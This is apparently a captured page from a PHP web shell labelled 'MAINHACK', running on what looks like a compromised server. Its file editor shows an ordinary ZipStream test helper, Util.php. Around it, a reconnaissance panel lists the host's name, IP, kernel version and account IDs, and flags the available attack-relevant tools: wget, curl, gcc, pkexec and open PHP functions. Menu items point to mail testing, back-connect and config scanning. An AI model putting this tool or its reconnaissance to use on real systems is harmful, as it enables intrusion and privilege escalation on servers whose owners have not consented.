[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Util.php
<?php declare(strict_types=1); namespace ZipStream\Test; use function fgets; use function pclose; use function popen; use function preg_match; use RecursiveDirectoryIterator; use RecursiveIteratorIterator; use function strtolower; use ZipArchive; trait Util { protected function cmdExists(string $command): bool { if (strtolower(\substr(PHP_OS, 0, 3)) === 'win') { $fp = popen("where $command", 'r'); $result = fgets($fp, 255); $exists = !preg_match('#Could not find files#', $result); pclose($fp); } else { // non-Windows $fp = popen("which $command", 'r'); $result = fgets($fp, 255); $exists = !empty($result); pclose($fp); } return $exists; } protected function dumpZipContents(string $path): string { if (!$this->cmdExists('hexdump')) { return ''; } $output = []; if (!exec("hexdump -C \"$path\" | head -n 50", $output)) { return ''; } return "\nHexdump:\n" . implode("\n", $output); } protected function validateAndExtractZip(string $zipPath): string { $tmpDir = $this->getTmpDir(); $zipArchive = new ZipArchive(); $result = $zipArchive->open($zipPath); if ($result !== true) { $codeName = $this->zipArchiveOpenErrorCodeName($result); $debugInformation = $this->dumpZipContents($zipPath); $this->fail("Failed to open {$zipPath}. Code: $result ($codeName)$debugInformation"); return $tmpDir; } $this->assertSame(0, $zipArchive->status); $this->assertSame(0, $zipArchive->statusSys); $zipArchive->extractTo($tmpDir); $zipArchive->close(); return $tmpDir; } protected function zipArchiveOpenErrorCodeName(int $code): string { switch ($code) { case ZipArchive::ER_EXISTS: return 'ER_EXISTS'; case ZipArchive::ER_INCONS: return 'ER_INCONS'; case ZipArchive::ER_INVAL: return 'ER_INVAL'; case ZipArchive::ER_MEMORY: return 'ER_MEMORY'; case ZipArchive::ER_NOENT: return 'ER_NOENT'; case ZipArchive::ER_NOZIP: return 'ER_NOZIP'; case ZipArchive::ER_OPEN: return 'ER_OPEN'; case ZipArchive::ER_READ: return 'ER_READ'; case ZipArchive::ER_SEEK: return 'ER_SEEK'; default: return 'unknown'; } } protected function getTmpDir(): string { $tmp = tempnam(sys_get_temp_dir(), 'zipstreamtest'); unlink($tmp); mkdir($tmp) or $this->fail('Failed to make directory'); return $tmp; } /** * @return string[] */ protected function getRecursiveFileList(string $path, bool $includeDirectories = false): array { $data = []; $path = (string) realpath($path); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $pathLen = strlen($path); foreach ($files as $file) { $filePath = $file->getRealPath(); if (is_dir($filePath) && !$includeDirectories) { continue; } $data[] = substr($filePath, $pathLen + 1); } sort($data); return $data; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002